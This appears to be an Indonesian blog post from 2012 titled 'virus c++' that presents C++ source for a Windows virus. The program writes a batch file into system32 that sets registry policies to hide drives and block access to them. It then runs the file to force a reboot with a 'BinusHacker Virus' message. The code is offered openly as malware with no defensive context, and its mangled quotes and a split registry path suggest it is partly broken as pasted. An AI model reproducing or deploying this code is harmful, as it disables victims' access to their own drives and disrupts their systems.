#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( “C:\\WINDOWS\\system32\\SembunyikanHarddisk.bat” );
write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n”; write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n”; write<<”shutdown -r -c \”Sorry Your System Is Infected by BinusHacker Virus!\” -f”<<”\n”; write.close(); //close file ShellExecute(NULL,”open”,”C:\\WINDOWS\\system32\\SembunyikanHarddisk.bat “,NULL,NULL,SW_SHOWNORMAL); return 0; }
Minggu, 19 Februari 2012
virus c++
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar